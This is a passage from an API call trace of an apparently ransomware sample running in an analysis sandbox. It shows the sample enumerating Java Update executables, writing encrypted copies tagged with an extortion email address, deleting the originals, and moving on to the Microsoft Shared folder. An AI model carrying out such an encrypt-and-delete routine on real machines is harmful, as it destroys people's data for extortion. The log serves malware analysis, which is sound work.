ftLastAccessTime.dwLowDateTime=0xb2fe5e18, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x9eeb0b00, ftLastWriteTime.dwHighDateTime=0x1d30266, nFileSizeHigh=0x0, nFileSizeLow=0x68a18, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="jaureg.exe", cAlternateFileName="")) returned 1 [0198.697] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909cef00, ftCreationTime.dwHighDateTime=0x1d30266, ftLastAccessTime.dwLowDateTime=0xb300c058, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x909cef00, ftLastWriteTime.dwHighDateTime=0x1d30266, nFileSizeHigh=0x0, nFileSizeLow=0xe2218, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="jucheck.exe", cAlternateFileName="")) returned 1 [0198.697] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98f52a00, ftCreationTime.dwHighDateTime=0x1d30266, ftLastAccessTime.dwLowDateTime=0xb300c058, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x98f52a00, ftLastWriteTime.dwHighDateTime=0x1d30266, nFileSizeHigh=0x0, nFileSizeLow=0x8f618, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="jusched.exe", cAlternateFileName="")) returned 1 [0198.697] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98f52a00, ftCreationTime.dwHighDateTime=0x1d30266, ftLastAccessTime.dwLowDateTime=0xb300c058, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x98f52a00, ftLastWriteTime.dwHighDateTime=0x1d30266, nFileSizeHigh=0x0, nFileSizeLow=0x8f618, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="jusched.exe", cAlternateFileName="")) returned 0 [0198.697] FindClose (in: hFindFile=0x10f77d0 | out: hFindFile=0x10f77d0) returned 1 [0198.697] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\jaureg.exe")) returned 0x20 [0198.698] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887338 | out: hHeap=0x2ad0000) returned 1 [0198.698] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jucheck.exe" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\jucheck.exe")) returned 0x20 [0198.698] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db9e0 | out: hHeap=0x2ad0000) returned 1 [0198.698] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jusched.exe" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\jusched.exe")) returned 0x20 [0198.699] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbc60 | out: hHeap=0x2ad0000) returned 1 [0198.699] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe", lpFilePart=0x9bada4*="jaureg.exe") returned 0x3f [0198.699] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\jaureg.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9eeb0b00, ftCreationTime.dwHighDateTime=0x1d30266, ftLastAccessTime.dwLowDateTime=0xb2fe5e18, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x9eeb0b00, ftLastWriteTime.dwHighDateTime=0x1d30266, nFileSizeHigh=0x0, nFileSizeLow=0x68a18)) returned 1 [0198.699] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366873c | out: pbBuffer=0x366873c) returned 1 [0198.700] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\jaureg.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0198.700] GetFileType (hFile=0x334) returned 0x1 [0198.700] GetFileType (hFile=0x334) returned 0x1 [0198.700] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.700] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.700] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.700] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.700] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.701] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.701] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.701] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\jaureg.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0198.703] GetFileType (hFile=0x39c) returned 0x1 [0198.703] GetFileType (hFile=0x39c) returned 0x1 [0198.703] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.703] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.703] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.703] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.703] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.703] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.703] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.736] CloseHandle (hObject=0x39c) returned 1 [0198.737] CloseHandle (hObject=0x334) returned 1 [0198.737] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\jaureg.exe")) returned 1 [0198.741] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jucheck.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jucheck.exe", lpFilePart=0x9bada4*="jucheck.exe") returned 0x40 [0198.741] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0198.741] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jucheck.exe" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\jucheck.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909cef00, ftCreationTime.dwHighDateTime=0x1d30266, ftLastAccessTime.dwLowDateTime=0xb300c058, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x909cef00, ftLastWriteTime.dwHighDateTime=0x1d30266, nFileSizeHigh=0x0, nFileSizeLow=0xe2218)) returned 1 [0198.741] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668444 | out: pbBuffer=0x3668444) returned 1 [0198.741] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0198.742] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a31b0 [0198.742] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0198.742] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jucheck.exe" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\jucheck.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0198.742] GetFileType (hFile=0x334) returned 0x1 [0198.742] GetFileType (hFile=0x334) returned 0x1 [0198.742] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.743] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.743] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.743] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.743] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.743] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.743] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.743] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jucheck.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\jucheck.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0198.743] GetFileType (hFile=0x39c) returned 0x1 [0198.744] GetFileType (hFile=0x39c) returned 0x1 [0198.744] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.744] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.744] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.744] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.744] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.744] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.744] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.791] CloseHandle (hObject=0x39c) returned 1 [0198.791] CloseHandle (hObject=0x334) returned 1 [0198.791] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jucheck.exe" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\jucheck.exe")) returned 1 [0198.798] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jusched.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jusched.exe", lpFilePart=0x9bada4*="jusched.exe") returned 0x40 [0198.799] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jusched.exe" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\jusched.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98f52a00, ftCreationTime.dwHighDateTime=0x1d30266, ftLastAccessTime.dwLowDateTime=0xb300c058, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x98f52a00, ftLastWriteTime.dwHighDateTime=0x1d30266, nFileSizeHigh=0x0, nFileSizeLow=0x8f618)) returned 1 [0198.799] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36680ac | out: pbBuffer=0x36680ac) returned 1 [0198.799] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jusched.exe" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\jusched.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0198.799] GetFileType (hFile=0x334) returned 0x1 [0198.800] GetFileType (hFile=0x334) returned 0x1 [0198.800] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.800] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.800] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.800] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.800] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.800] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.800] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.800] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jusched.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\jusched.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0198.801] GetFileType (hFile=0x39c) returned 0x1 [0198.801] GetFileType (hFile=0x39c) returned 0x1 [0198.801] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.801] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.801] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.801] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.801] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.801] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.801] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.868] CloseHandle (hObject=0x39c) returned 1 [0198.868] CloseHandle (hObject=0x334) returned 1 [0198.868] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jusched.exe" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\jusched.exe")) returned 1 [0198.873] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb686ce0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4a0e1ac1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7650 [0198.892] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb686ce0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4a0e1ac1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0198.892] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb68755a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a6754cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="DAO", cAlternateFileName="")) returned 1 [0198.893] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9bdfed90, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x9bdfed90, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="Ink", cAlternateFileName="")) returned 1 [0198.893] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a0e1ac1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a0e1ac1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a0e1ac1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="MSEnv", cAlternateFileName="")) returned 1 [0198.893] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb76134e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7124ead2, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0198.893] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb7edc75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a6c1993, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0198.893] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb7ef366, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="TextConv", cAlternateFileName="")) returned 1 [0198.893] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7f130f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="Triedit", cAlternateFileName="")) returned 1 [0198.893] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa0004713, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xbb85e523, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b77ba12, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="VC", cAlternateFileName="")) returned 1 [0198.894] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb8602cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7124ead2, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1 [0198.894] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e4284c2, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="VSTA", cAlternateFileName="")) returned 1 [0198.894] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a022e6b, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 1 [0198.894] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a022e6b, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 0 [0198.894] FindClose (in: hFindFile=0x10f7650 | out: hFindFile=0x10f7650) returned 1 [0198.895] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\DAO" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\dao")) returned 0x10 [0198.896] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887458 | out: hHeap=0x2ad0000) returned 1 [0198.896] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0198.897] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink")) returned 0x10 [0198.897] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38878d8 | out: hHeap=0x2ad0000) returned 1 [0198.897] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\MSEnv" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msenv")) returned 0x10 [0198.897] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887728 | out: hHeap=0x2ad0000) returned 1 [0198.897] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\MSInfo" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msinfo")) returned 0x10 [0198.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38874e8 | out: hHeap=0x2ad0000) returned 1 [0198.898] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery")) returned 0x10 [0198.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887410 | out: hHeap=0x2ad0000) returned 1 [0198.898] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881138, Size=0x20) returned 0x33eae68 [0198.899] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\TextConv" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv")) returned 0x10 [0198.899] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887770 | out: hHeap=0x2ad0000) returned 1 [0198.899] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Triedit" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\triedit")) returned 0x10 [0198.900] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887530 | out: hHeap=0x2ad0000) returned 1 [0198.900] GetFileAttributesA 